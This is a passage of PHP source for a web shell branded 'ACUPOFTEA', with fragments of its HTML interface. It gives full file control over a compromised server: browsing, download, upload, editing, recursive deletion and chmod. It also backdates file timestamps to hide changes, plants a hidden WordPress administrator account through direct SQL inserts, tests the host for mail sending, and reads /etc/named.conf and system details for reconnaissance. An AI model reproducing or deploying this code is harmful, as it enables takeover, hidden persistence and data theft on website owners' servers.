" . $pall . "" : "" . $pall . "";
}
if (isset($_GET['cup']) && !empty($_GET['cup'])) {
$cup = acup($_GET['cup']);
chdir($cup);
} else {
$cup = getcwd();
}
$cup = str_replace('\\', '/', $cup);
$cups = explode('/', $cup);
$scup = scandir($cup);
function pall($cup) {
$pall = fileperms($cup);
if (($pall & 0xC000) == 0xC000) {
$iall = 's';
} elseif (($pall & 0xA000) == 0xA000) {
$iall = 'l';
} elseif (($pall & 0x8000) == 0x8000) {
$iall = '-';
} elseif (($pall & 0x6000) == 0x6000) {
$iall = 'b';
} elseif (($pall & 0x4000) == 0x4000) {
$iall = 'd';
} elseif (($pall & 0x2000) == 0x2000) {
$iall = 'c';
} elseif (($pall & 0x1000) == 0x1000) {
$iall = 'p';
} else {
$iall = 'u';
}
$iall .= (($pall & 0x0100) ? 'r' : '-');
$iall .= (($pall & 0x0080) ? 'w' : '-');
$iall .= (($pall & 0x0040) ?
(($pall & 0x0800) ? 's' : 'x' ) :
(($pall & 0x0800) ? 'S' : '-'));
$iall .= (($pall & 0x0020) ? 'r' : '-');
$iall .= (($pall & 0x0010) ? 'w' : '-');
$iall .= (($pall & 0x0008) ?
(($pall & 0x0400) ? 's' : 'x' ) :
(($pall & 0x0400) ? 'S' : '-'));
$iall .= (($pall & 0x0004) ? 'r' : '-');
$iall .= (($pall & 0x0002) ? 'w' : '-');
$iall .= (($pall & 0x0001) ?
(($pall & 0x0200) ? 't' : 'x' ) :
(($pall & 0x0200) ? 'T' : '-'));
return $iall;
}
function sall($item) {
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$pos = 0;
$sall = filesize($item);
while ($sall >= 1024) {
$sall /= 1024;
$pos++;
}
return round($sall, 2) . " " . $a[$pos];
}
function alertcup($m, $c, $r = false) {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["color"])) {
unset($_SESSION["color"]);
}
$_SESSION["message"] = $m;
$_SESSION["color"] = $c;
if ($r) {
header('Location: ' . $r);
exit();
}
return true;
}
function clear() {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["color"])) {
unset($_SESSION["color"]);
}
return true;
}
function cext($a) {
$mime_icons = [
'image/png' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
'image/jpeg' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
'image/gif' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
'image/svg+xml' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
'application/pdf' => ['icon' => 'bi bi-file-pdf', 'color' => 'red'],
'application/msword' => ['icon' => 'bi bi-file-word', 'color' => 'blue'],
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => ['icon' => 'bi bi-file-word', 'color' => 'blue'],
'application/vnd.ms-excel' => ['icon' => 'bi bi-file-excel', 'color' => 'green'],
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => ['icon' => 'bi bi-file-excel', 'color' => 'green'],
'application/vnd.ms-powerpoint' => ['icon' => 'bi bi-file-ppt', 'color' => 'orange'],
'application/vnd.openxmlformats-officedocument.presentationml.presentation' => ['icon' => 'bi bi-file-ppt', 'color' => 'orange'],
'application/zip' => ['icon' => 'bi bi-file-zip', 'color' => 'orange'],
'text/html' => ['icon' => 'bi bi-filetype-html', 'color' => 'blue'],
'text/css' => ['icon' => 'bi bi-filetype-css', 'color' => 'blue'],
'text/javascript' => ['icon' => 'bi bi-filetype-js', 'color' => 'yellow'],
'text/plain' => ['icon' => 'bi bi-filetype-txt', 'color' => 'dark'],
'text/csv' => ['icon' => 'bi bi-filetype-csv', 'color' => 'green'],
'audio/wav' => ['icon' => 'bi bi-filetype-wav', 'color' => 'red'],
'video/mp4' => ['icon' => 'bi bi-filetype-mp4', 'color' => 'orange'],
];
$mime = mime_content_type($a);
$icon = $mime_icons[$mime] ?? ['icon' => 'bi bi-file-text', 'color' => 'dark'];
return '';
}
try {
if (isset($_GET['tea']) && $_GET['tea'] == 'df') {
ob_clean();
$a = acup($_GET['item']);
$fp = realpath($a);
if ($fp && file_exists($fp) && is_readable($fp)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($fp));
readfile($fp);
exit();
} else {
throw new Exception("Error download $item.");
}
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
if (isset($_POST['iuw'])) {
try {
$cDB = new mysqli($_POST['ih'], $_POST['iu'], $_POST['ipa'], $_POST['inam']);
$uWp = $_POST['iuw'];
$pWp = password_hash($_POST['ipw'], PASSWORD_DEFAULT);
if ($cDB->query("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name)
VALUES ('$uWp', '$pWp', 'Admin Tea', '', '', NOW(), '', 0, 'Admin Tea')")) {
$UI = $cDB->insert_id;
if ($cDB->query("INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES ($UI, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')")) {
alertcup("Successful user creation.", "#14A44D", "?cup=" . tea($cup));
}
}
$cDB->close();
} catch (Exception $e) {
alertcup("Database error.", "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['ie'])) {
try {
$m = $_POST['ie'];
$r = rand();
$h = $_SERVER['HTTP_HOST'];
if (mail($m, "Result Report Test - $r", "$h WORKING !")) {
alertcup("Success send tester mailer to $m.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while sending mail to $m.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['nfoln'])){
try {
$nfn = $_POST['nfoln'];
$nfp = $cup . '/' . $nfn;
if (!file_exists($nfp) && mkdir($nfp)) {
alertcup("Success make a folder $nfn.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while creating folder $nfn.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['nfn'])) {
try {
$nfn = $_POST['nfn'];
$nfp = $cup . '/' . $nfn;
if (!file_exists($nfp)) {
if (isset($_POST['nfc'])) {
$nfc = $_POST['nfc'];
if (file_put_contents($nfp, $nfc) !== false) {
alertcup("Success make a file $nfn.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while creating file $nfn.");
}
} else {
if (touch($nfp)) {
alertcup("Success make a file $nfn.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while creating file $nfn.");
}
}
} else {
throw new Exception("Error $nfn already exists.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['ri']) && isset($_POST['nn'])) {
try {
if ($_POST['nn'] == '') {
throw new Exception("Error, input cannot be empty.");
} else {
$item = $_POST['ri'];
$new = $_POST['nn'];
$nfp = $cup . '/' . $new;
if (file_exists($item)) {
if (rename($item, $nfp)) {
alertcup("Successful rename $item to $new.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while renaming $item.");
}
} else {
throw new Exception("Error $item not found.");
}
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_GET['item']) && isset($_POST['nc'])) {
try {
$item = acup($_GET['item']);
if (file_put_contents($cup . '/' . $item, $_POST['nc']) !== false) {
alertcup("Successful editing $item.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while editing $item.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['di']) && isset($_POST['nd'])) {
try {
$ndf = strtotime($_POST['nd']);
$item = $_POST['di'];
if ($ndf == '') {
throw new Exception("Error, input cannot be empty.");
}
if (touch($cup . '/' . $item, $ndf)) {
alertcup("Successful change date for $item.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while change date for $item.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['pi']) && isset($_POST['np'])) {
try {
$item = $_POST['pi'];
if ($_POST['np'] == '') {
throw new Exception("Error, input cannot be empty.");
}
if (chmod($cup . '/'. $item, intval($_POST['np'], 8))) {
alertcup("Successful change permission for $item.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while change permission for $item.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_POST['di'])){
$item = $_POST['di'];
function deleteDirectory($cup) {
if (!is_dir($cup)) {
return false;
}
$x = array_diff(scandir($cup), ['.', '..']);
foreach ($x as $z) {
$b = $cup . DIRECTORY_SEPARATOR . $z;
if (is_dir($b)) {
deleteDirectory($b);
} else {
if (!unlink($b)) {
return false;
}
}
}
return rmdir($cup);
}
try {
if (!is_writable($item)) {
throw new Exception("Permission denied for $item");
}
if (is_file($item)) {
if (!unlink($item)) {
throw new Exception("Failed to file: $item");
}
alertcup("Successful delete file $item.", "#14A44D", "?cup=" . tea($cup));
} elseif (is_dir($item)) {
if (!deleteDirectory($item)) {
throw new Exception("Failed to folder: $item");
}
alertcup("Successful delete folder $item.", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error $item not found.");
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
if (isset($_FILES['z'])) {
try {
$total = count($_FILES['z']['name']);
for ($i = 0; $i < $total; $i++) {
$mu = move_uploaded_file($_FILES['z']['tmp_name'][$i], $_FILES['z']['name'][$i]);
}
if ($total < 2) {
if ($mu) {
$fn = $_FILES['z']['name'][0];
alertcup("Upload $fn successfully! ", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while upload $fn.");
}
} else {
if ($mu) {
alertcup("Upload $i files successfully! ", "#14A44D", "?cup=" . tea($cup));
} else {
throw new Exception("Error while upload files.");
}
}
} catch (Exception $e) {
alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
exit();
}
}
$ws = file("/etc/named.conf", FILE_IGNORE_NEW_LINES);
if (!$ws) {
$dom = "Cant read /etc/named.conf";
$GLOBALS["need_to_update_header"] = "true";
} else {
$c = 0;
foreach ($ws as $w) {
if (preg_match('/zone\s+"([^"]+)"/', $w, $m)) {
if (strlen(trim($m[1])) > 2) {
$c++;
}
}
}
$dom = "$c Domain";
}
function win() {
$wina = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z'
];
foreach ($wina as $winb => $winc) {
if (is_dir($winc . ":/")) {
echo "[ " . $winc . " ] ";
}
}
}
?>
#acupoftea - = $_SERVER['HTTP_HOST']; ?>
System |
: |
= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?> |
Software |
: |
= $_SERVER['SERVER_SOFTWARE'] ?> |
Server |
: |
= gethostbyname($_SERVER['HTTP_HOST']) ?> |
Domains |
: |
= $dom; ?> |
Permission |
: |
[ ] |
|
: |
$pat) {
if ($pat == '' && $id == 0) {
?>
/
">= $pat ?>
/
|
= $_SERVER['REMOTE_ADDR'] ?> |
|
Home
';
echo "403 Can't access directory.";
echo '
';
echo '
';
echo '
';
echo '~ ACUPOFTEA - ' . $_SERVER['HTTP_HOST'] . '';
echo '
';
echo '';
exit();
}
?>
~ ACUPOFTEA - = $_SERVER['HTTP_HOST']; ?>